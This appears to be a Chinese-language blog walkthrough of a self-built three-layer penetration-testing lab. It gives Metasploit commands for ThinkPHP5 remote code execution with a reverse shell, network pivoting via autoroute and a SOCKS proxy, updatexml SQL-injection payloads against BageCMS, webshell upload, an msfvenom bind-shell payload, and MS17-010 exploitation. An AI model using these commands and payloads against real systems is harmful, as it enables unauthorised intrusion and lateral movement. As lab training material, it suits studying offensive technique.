发布于2022年10月15日3年前 一、环境搭建: 靶机拓扑: 1.添加虚拟网卡: 添加 22网段(VMnet2) 和 33(VMnet3)网段的网卡 VMnet8为NAT模式与外部通信 2.配置网卡: target1网络配置: target2网络配置: target3网络配置: 3.web靶机搭建(宝塔面板启动) 启动命令: /etc/init.d/bt start 重启 /etc/init.d/bt restart 默认端口管理8888 环境搭建完 kali能ping通target1 target1能ping通target2 target2能ping通target3 三层网络关系 二、渗透测试: 信息收集: target1(thinkphp5搭建) 使用nmap扫描端口 nmap -sV -p 1-65535 -T4 192.168.234.178 因为是thinkphp5 想到远程命令执行 (网上很多利用脚本自行选择 我用msf一把梭) search thinkphp (查找可利用exp) use 0 (选择exp) set rhosts 192.168.234.178 (目标target1的ip) set rport 80 (目标target1的端口) set lhost 192.168.234.130 (shell接收ip 这里是kali本机ip) set lport 4444 (shell接收端口) run (执行exp) 执行返回一个shell target1拿下 信息收集 getuid sysinfo ifconfig 查看ip发现两个ip (22网段是内网网段) 使用msf添加路由 run autoroute -s 192.168.22.0 添加22网段路由 run autoroute -p 查看路由 已经添加路由,但是只有返回的这个shell能访问22网段内网靶机; 使用sock4+proxychains4代理打通内网 use auxiliary/server/socks_proxy options set srvhost 192.168.234.130 set version 4a 还需要修改kali /etc/proxychains4.conf文件 (在最后一行添加) 代理下使用namp扫描 proxychains4 nmap -Pn -sT 192.168.22.0/24 proxychains4 nmap -Pn -sT 192.168.22.129 内网还有web 配置kali浏览器sock代理 使用八哥CMS搭建 使用gobuster扫描目录 (可以先手工测试,我直接使用工具偷懒,反而错过重要信息) proxychains4 gobuster dir -u http://192.168.22.129/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php 访问 robots.txt 发现目录 在index.php中发现sql注入提示 手工报错注入 爆数据库名: index.php?r=vul&keyword=1 ' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='bagecms'),1,32),0x7e),1)--+ 爆表名: index.php?r=vul&keyword=1'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema="bagecms")),0x7e)) --+ 最后爆出数据: admin 123qwe md5解密后得到后台账号密码 admin 123qwe 登录后台 http://url/index.php?r=admini/default/index 内容模板写入shell 使用AntSword设置代理连接shell 信息收集 发现33网段 因为是使用代理访问的22网段的shell 访问不到33网段 所以使用msf生成一个正向马 msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf -o test.elf 将马子赋执行权限上传到webshell中 同时使用代理开启一个msf proxychains4 msfconsole 使用代理的msf开启监听 use exploit/multi/handler 使用监听模块 set payload linux/x86/meterpreter/bind_tcp 设置payload set lport 4444 设置接收端口与msfvenoms生成端口一致 set rhost 192.168.22.129 设置目标主机(target2) 拿到 target2 shell 添加33网段路由 run autoroute -s 192.168.33.0/24 run autoroute -p 使用msf扫描模块扫描端口 use auxiliary/scanner/portscan/tcp 发现 192.168.33.33 主机并开放 445、3389 敏感端口 msf尝试永恒之蓝 use auxiliary/scanner/smb/smb_ms17_010 检测ms17010是否存在 use exploit/windows/smb/ms17_010_psexe 利用ms17010 使用ms17_010_psexe 提示执行成功,但是没有创建会话 (这里不是很明白) use auxiliary/admin/smb/ms17_010_command 这个exp可以执行命令 至此三台靶机shell拿下了,后续还可以进行很多操作,比如windows提权和centos提权;
创建帐户或登录后发表意见